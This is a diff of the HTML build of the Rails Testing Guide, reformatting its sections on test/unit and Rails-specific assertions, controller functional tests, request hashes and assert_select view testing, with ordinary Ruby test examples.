+<td align="left"><p class="table"><tt>assert_equal( obj1, obj2, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that <tt>obj1 == obj2</tt> is true.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_not_equal( obj1, obj2, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that <tt>obj1 == obj2</tt> is false.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_same( obj1, obj2, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that <tt>obj1.equal?(obj2)</tt> is true.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_not_same( obj1, obj2, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that <tt>obj1.equal?(obj2)</tt> is false.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_nil( obj, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that <tt>obj.nil?</tt> is true.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_not_nil( obj, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that <tt>obj.nil?</tt> is false.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_match( regexp, string, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that a string matches the regular expression.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_no_match( regexp, string, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that a string doesn&#8217;t matches the regular expression.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_in_delta( expecting, actual, delta, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that the numbers <tt>expecting</tt> and <tt>actual</tt> are within <tt>delta</tt> of each other.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_throws( symbol, [msg] ) { block }</tt></p></td>
+<td align="left"><p class="table">Ensures that the given block throws the symbol.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_raises( exception1, exception2, ... ) { block }</tt></p></td>
+<td align="left"><p class="table">Ensures that the given block raises one of the given exceptions.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_nothing_raised( exception1, exception2, ... ) { block }</tt></p></td>
+<td align="left"><p class="table">Ensures that the given block doesn&#8217;t raise one of the given exceptions.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_instance_of( class, obj, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that <tt>obj</tt> is of the <tt>class</tt> type.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_kind_of( class, obj, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that <tt>obj</tt> is or descends from <tt>class</tt>.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_respond_to( obj, symbol, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that <tt>obj</tt> has a method called <tt>symbol</tt>.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_operator( obj1, operator, obj2, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that <tt>obj1.operator(obj2)</tt> is true.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_send( array, [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures that executing the method listed in <tt>array[1]</tt> on the object in <tt>array[0]</tt> with the parameters of <tt>array[2 and up]</tt> is true. This one is weird eh?</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>flunk( [msg] )</tt></p></td>
+<td align="left"><p class="table">Ensures failure. This is useful to explicitly mark a test that isn&#8217;t finished yet.</p></td>
+</tr>
+</tbody>
+</table>
+</div>
+<div class="paragraph"><p>Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that&#8217;s exactly what Rails does. It includes some specialized assertions to make your life easier.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Creating your own assertions is an advanced topic that we won&#8217;t cover in this tutorial.</td>
+</tr></table>
+</div>
+<h3 id="_rails_specific_assertions">3.5. Rails Specific Assertions</h3>
+<div class="paragraph"><p>Rails adds some custom assertions of its own to the <tt>test/unit</tt> framework:</p></div>
+<div class="tableblock">
+<table rules="all"
+width="100%"
+frame="border"
+cellspacing="0" cellpadding="4">
+<col width="50%" />
+<col width="50%" />
+<thead valign="top">
+<tr>
+<th align="left">Assertion </th>
+<th align="left">Purpose</th>
+</tr>
+</thead>
+<tbody valign="top">
+<tr>
+<td align="left"><p class="table"><tt>assert_valid(record)</tt></p></td>
+<td align="left"><p class="table">Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_difference(expressions, difference = 1, message = nil) {...}</tt></p></td>
+<td align="left"><p class="table">Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_no_difference(expressions, message = nil, &amp;block)</tt></p></td>
+<td align="left"><p class="table">Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_recognizes(expected_options, path, extras={}, message=nil)</tt></p></td>
+<td align="left"><p class="table">Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)</tt></p></td>
+<td align="left"><p class="table">Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_response(type, message = nil)</tt></p></td>
+<td align="left"><p class="table">Asserts that the response comes with a specific status code. You can specify <tt>:success</tt> to indicate 200, <tt>:redirect</tt> to indicate 300-399, <tt>:missing</tt> to indicate 404, or <tt>:error</tt> to match the 500-599 range</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_redirected_to(options = {}, message=nil)</tt></p></td>
+<td align="left"><p class="table">Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that <tt>assert_redirected_to(:controller =&gt; "weblog")</tt> will also match the redirection of <tt>redirect_to(:controller =&gt; "weblog", :action =&gt; "show")</tt> and so on.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_template(expected = nil, message=nil)</tt></p></td>
+<td align="left"><p class="table">Asserts that the request was rendered with the appropriate template file.</p></td>
+</tr>
+</tbody>
+</table>
+</div>
+<div class="paragraph"><p>You&#8217;ll see the usage of some of these assertions in the next chapter.</p></div>
+</div>
+<h2 id="_functional_tests_for_your_controllers">4. Functional Tests for Your Controllers</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.</p></div>
+<h3 id="_what_to_include_in_your_functional_tests">4.1. What to include in your Functional Tests</h3>
+<div class="paragraph"><p>You should test for things such as:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+was the web request successful?
+</p>
+</li>
+<li>
+<p>
+was the user redirected to the right page?
+</p>
+</li>
+<li>
+<p>
+was the user successfully authenticated?
+</p>
+</li>
+<li>
+<p>
+was the correct object stored in the response template?
+</p>
+</li>
+<li>
+<p>
+was the appropriate message displayed to the user in the view
+</p>
+</li>
+</ul></div>
+<div class="paragraph"><p>Now that we have used Rails scaffold generator for our <tt>Post</tt> resource, it has already created the controller code and functional tests. You can take look at the file <tt>posts_controller_test.rb</tt> in the <tt>test/functional</tt> directory.</p></div>
+<div class="paragraph"><p>Let me take you through one such test, <tt>test_should_get_index</tt> from the file <tt>posts_controller_test.rb</tt>.</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
-
-NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
-
-=== Rails Specific Assertions ===
-
-Rails adds some custom assertions of its own to the +test/unit+ framework:
-
-[grid="all"]
-`----------------------------------------------------------------------------------`-------------------------------------------------------
-Assertion Purpose</tt></pre>
-</div></div>
-<div class="para"><p><tt>assert_valid(record)</tt> Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
-<tt>assert_difference(expressions, difference = 1, message = nil) {|| &#8230;}</tt> Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.
-<tt>assert_no_difference(expressions, message = nil, &amp;block)</tt> Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.
-<tt>assert_recognizes(expected_options, path, extras={}, message=nil)</tt> Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
-<tt>assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)</tt> Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
-<tt>assert_response(type, message = nil)</tt> Asserts that the response comes with a specific status code. You can specify <tt>:success</tt> to indicate 200, <tt>:redirect</tt> to indicate 300-399, <tt>:missing</tt> to indicate 404, or <tt>:error</tt> to match the 500-599 range
-<tt>assert_redirected_to(options = {}, message=nil)</tt> Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that <tt>assert_redirected_to(:controller &#8658; "weblog")</tt> will also match the redirection of <tt>redirect_to(:controller &#8658; "weblog", :action &#8658; "show")</tt> and so on.
-<tt>assert_template(expected = nil, message=nil)</tt> Asserts that the request was rendered with the appropriate template file.</p></div>
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_get_index
+ get <span style="color: #990000">:</span>index
+ assert_response <span style="color: #990000">:</span>success
+ assert_not_nil assigns<span style="color: #990000">(:</span>posts<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In the <tt>test_should_get_index</tt> test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid <tt>posts</tt> instance variable.</p></div>
+<div class="paragraph"><p>The <tt>get</tt> method kicks off the web request and populates the results into the response. It accepts 4 arguments:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+The action of the controller you are requesting. This can be in the form of a string or a symbol.
+</p>
+</li>
+<li>
+<p>
+An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
+</p>
+</li>
+<li>
+<p>
+An optional hash of session variables to pass along with the request.
+</p>
+</li>
+<li>
+<p>
+An optional hash of flash values.
+</p>
+</li>
+</ul></div>
+<div class="paragraph"><p>Example: Calling the <tt>:show</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt> and setting a <tt>user_id</tt> of 5 in the session:</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-You'll see the usage of some of these assertions in the next chapter.
-
-== Functional Tests for Your Controllers ==
-
-In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
-
-=== What to include in your Functional Tests ===
-
-You should test for things such as:
-
- * was the web request successful?
- * was the user redirected to the right page?
- * was the user successfully authenticated?
- * was the correct object stored in the response template?
- * was the appropriate message displayed to the user in the view
-
-Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory.
-
-Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
-
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>def test_should_get_index
- get :index
- assert_response :success
- assert_not_nil assigns(:posts)
-end</p></div>
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>get<span style="color: #990000">(:</span>show<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"12"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'user_id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>Another example: Calling the <tt>:view</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt>, this time with no session, but with a flash message.</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-In the +test_should_get_index+ test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable.
-
-The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments:
-
-* The action of the controller you are requesting. This can be in the form of a string or a symbol.
-* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
-* An optional hash of session variables to pass along with the request.
-* An optional hash of flash values.
-
-Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session:
-
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>get(:show, {<em>id</em> &#8658; "12"}, {<em>user_id</em> &#8658; 5})</p></div>
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>get<span style="color: #990000">(:</span>view<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'12'</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'message'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'booya!'</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">If you try running <tt>test_should_create_post</tt> test from <tt>posts_controller_test.rb</tt> it will fail on account of the newly added model level validation and rightly so.</td>
+</tr></table>
+</div>
+<div class="paragraph"><p>Let us modify <tt>test_should_create_post</tt> test in <tt>posts_controller_test.rb</tt> so that all our test pass:</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message.
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_create_post
+ assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ post <span style="color: #990000">:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Some title'</span><span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>get(:view, {<em>id</em> &#8658; <em>12</em>}, nil, {<em>message</em> &#8658; <em>booya!</em>})</p></div>
+ assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now you can try running all the tests and they should pass.</p></div>
+<h3 id="_available_request_types_for_functional_tests">4.2. Available Request Types for Functional Tests</h3>
+<div class="paragraph"><p>If you&#8217;re familiar with the HTTP protocol, you&#8217;ll know that <tt>get</tt> is a type of request. There are 5 request types supported in Rails functional tests:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+<tt>get</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>post</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>put</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>head</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>delete</tt>
+</p>
+</li>
+</ul></div>
+<div class="paragraph"><p>All of request types are methods that you can use, however, you&#8217;ll probably end up using the first two more often than the others.</p></div>
+<h3 id="_the_4_hashes_of_the_apocalypse">4.3. The 4 Hashes of the Apocalypse</h3>
+<div class="paragraph"><p>After a request has been made by using one of the 5 methods (<tt>get</tt>, <tt>post</tt>, etc.) and processed, you will have 4 Hash objects ready for use:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+<tt>assigns</tt> - Any objects that are stored as instance variables in actions for use in views.
+</p>
+</li>
+<li>
+<p>
+<tt>cookies</tt> - Any cookies that are set.
+</p>
+</li>
+<li>
+<p>
+<tt>flash</tt> - Any objects living in the flash.
+</p>
+</li>
+<li>
+<p>
+<tt>session</tt> - Any object living in session variables.
+</p>
+</li>
+</ul></div>
+<div class="paragraph"><p>As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for <tt>assigns</tt>. For example:</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so.
-
-Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
-
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>def test_should_create_post
- assert_difference(<em>Post.count</em>) do
- post :create, :post &#8658; { :title &#8658; <em>Some title</em>}
- end</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt> assert_redirected_to post_path(assigns(:post))
-end</tt></pre>
-</div></div>
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt> flash<span style="color: #990000">[</span><span style="color: #FF0000">"gordon"</span><span style="color: #990000">]</span> flash<span style="color: #990000">[:</span>gordon<span style="color: #990000">]</span>
+ session<span style="color: #990000">[</span><span style="color: #FF0000">"shmession"</span><span style="color: #990000">]</span> session<span style="color: #990000">[:</span>shmession<span style="color: #990000">]</span>
+ cookies<span style="color: #990000">[</span><span style="color: #FF0000">"are_good_for_u"</span><span style="color: #990000">]</span> cookies<span style="color: #990000">[:</span>are_good_for_u<span style="color: #990000">]</span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># Because you can't use assigns[:something] for historical reasons:</span></span>
+ assigns<span style="color: #990000">[</span><span style="color: #FF0000">"something"</span><span style="color: #990000">]</span> assigns<span style="color: #990000">(:</span>something<span style="color: #990000">)</span></tt></pre></div></div>
+<h3 id="_instance_variables_available">4.4. Instance Variables Available</h3>
+<div class="paragraph"><p>You also have access to three instance variables in your functional tests:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+<tt>@controller</tt> - The controller processing the request
+</p>
+</li>
+<li>
+<p>
+<tt>@request</tt> - The request
+</p>
+</li>
+<li>
+<p>
+<tt>@response</tt> - The response
+</p>
+</li>
+</ul></div>
+<h3 id="_a_fuller_functional_test_example">4.5. A Fuller Functional Test Example</h3>
+<div class="paragraph"><p>Here&#8217;s another example that uses <tt>flash</tt>, <tt>assert_redirected_to</tt>, and <tt>assert_difference</tt>:</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-Now you can try running all the tests and they should pass.
-
-=== Available Request Types for Functional Tests ===
-
-If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 5 request types supported in Rails functional tests:
-
-* +get+
-* +post+
-* +put+
-* +head+
-* +delete+
-
-All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
-
-=== The 4 Hashes of the Apocalypse ===
-
-After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use:
-
-* +assigns+ - Any objects that are stored as instance variables in actions for use in views.
-* +cookies+ - Any cookies that are set.
-* +flash+ - Any objects living in the flash.
-* +session+ - Any object living in session variables.
-
-As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example:
-
-[source,ruby]</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>flash["gordon"] flash[:gordon]
-session["shmession"] session[:shmession]
-cookies["are_good_for_u"] cookies[:are_good_for_u]</tt></pre>
-</div></div>
-<div class="para"><p># Because you can't use assigns[:something] for historical reasons:
- assigns["something"] assigns(:something)</p></div>
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_create_post
+ assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ post <span style="color: #990000">:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Hi'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>body <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'This is my first post.'</span><span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
+ assert_equal <span style="color: #FF0000">'Post was successfully created.'</span><span style="color: #990000">,</span> flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_testing_views">4.6. Testing Views</h3>
+<div class="paragraph"><p>Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The <tt>assert_select</tt> assertion allows you to do this by using a simple yet powerful syntax.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">You may find references to <tt>assert_tag</tt> in other documentation, but this is now deprecated in favor of <tt>assert_select</tt>.</td>
+</tr></table>
+</div>
+<div class="paragraph"><p>There are two forms of <tt>assert_select</tt>:</p></div>
+<div class="paragraph"><p><tt>assert_select(selector, [equality], [message])`</tt> ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an <tt>HTML::Selector</tt> object.</p></div>
+<div class="paragraph"><p><tt>assert_select(element, selector, [equality], [message])</tt> ensures that the equality condition is met on all the selected elements through the selector starting from the <em>element</em> (instance of <tt>HTML::Node</tt>) and its descendants.</p></div>
+<div class="paragraph"><p>For example, you could verify the contents on the title element in your response with:</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-=== Instance Variables Available ===
-
-You also have access to three instance variables in your functional tests:
-
-* +@controller+ - The controller processing the request
-* +@request+ - The request
-* +@response+ - The response
-
-=== A Fuller Functional Test Example
-
-Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
-
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>def test_should_create_post
- assert_difference(<em>Post.count</em>) do
- post :create, :post &#8658; { :title &#8658; <em>Hi</em>, :body &#8658; <em>This is my first post.</em>}
- end
- assert_redirected_to post_path(assigns(:post))
- assert_equal <em>Post was successfully created.</em>, flash[:notice]
-end</p></div>
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_select <span style="color: #FF0000">'title'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Welcome to Rails Testing Guide"</span></tt></pre></div></div>
+<div class="paragraph"><p>You can also use nested <tt>assert_select</tt> blocks. In this case the inner <tt>assert_select</tt> runs the assertion on the complete collection of elements selected by the outer <tt>assert_select</tt> block:</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-=== Testing Views ===
-
-Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax.
-
-NOTE: You may find references to +assert_tag+ in other documentation, but this is now deprecated in favor of +assert_select+.
-
-There are two forms of +assert_select+:
-
-+assert_select(selector, [equality], [message])`+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
-
-+assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants.
-
-For example, you could verify the contents on the title element in your response with:
-
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>assert_select <em>title</em>, "Welcome to Rails Testing Guide"</p></div>
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_select <span style="color: #FF0000">'ul.navigation'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ assert_select <span style="color: #FF0000">'li.menu_item'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Alternatively the collection of elements selected by the outer <tt>assert_select</tt> may be iterated through so that <tt>assert_select</tt> may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ will run the assertion on each element selected by the outer `assert_select` block:
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_select <span style="color: #FF0000">"ol"</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>elements<span style="color: #990000">|</span>
+ elements<span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>element<span style="color: #990000">|</span>
+ assert_select element<span style="color: #990000">,</span> <span style="color: #FF0000">"li"</span><span style="color: #990000">,</span> <span style="color: #993399">4</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>assert_select <em>ul.navigation</em> do
- assert_select <em>li.menu_item</em>
-end</p></div>
+assert_select <span style="color: #FF0000">"ol"</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ assert_select <span style="color: #FF0000">"li"</span><span style="color: #990000">,</span> <span style="color: #993399">8</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>assert_select</tt> assertion is quite powerful. For more advanced usage, refer to its <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html">documentation</a>.</p></div>
+<h4 id="_additional_view_based_assertions">4.6.1. Additional View-based Assertions</h4>
+<div class="paragraph"><p>There are more assertions that are primarily used in testing views:</p></div>
+<div class="tableblock">
+<table rules="all"
+width="100%"
+frame="border"
+cellspacing="0" cellpadding="4">
+<col width="50%" />
+<col width="50%" />
+<thead valign="top">
+<tr>
+<th align="left">Assertion </th>
+<th align="left">Purpose</th>
+</tr>
+</thead>
+<tbody valign="top">
+<tr>
+<td align="left"><p class="table"><tt>assert_select_email</tt></p></td>
+<td align="left"><p class="table">Allows you to make assertions on the body of an e-mail.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_select_rjs</tt></p></td>
+<td align="left"><p class="table">Allows you to make assertions on RJS response. <tt>assert_select_rjs</tt> has variants which allow you to narrow down on the updated element or even a particular operation on an element.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>assert_select_encoded</tt></p></td>
+<td align="left"><p class="table">Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>css_select(selector)</tt> or <tt>css_select(element, selector)</tt></p></td>
+<td align="left"><p class="table">Returns an array of all the elements selected by the <em>selector</em>. In the second variant it first matches the base <em>element</em> and tries to match the <em>selector</em> expression on any of its children. If there are no matches both variants return an empty array.</p></td>
+</tr>
+</tbody>
+</table>
+</div>
+<div class="paragraph"><p>Here&#8217;s an example of using <tt>assert_select_email</tt>:</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its link:http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html#M000749[documentation].
-
-==== Additional View-based Assertions ====
-
-There are more assertions that are primarily used in testing views:
-
-[grid="all"]
-`----------------------------------------------------------------------------------`-------------------------------------------------------
-Assertion Purpose</tt></pre>
-</div></div>
-<div class="para"><p><tt>assert_select_email</tt> Allows you to make assertions on the body of an e-mail.
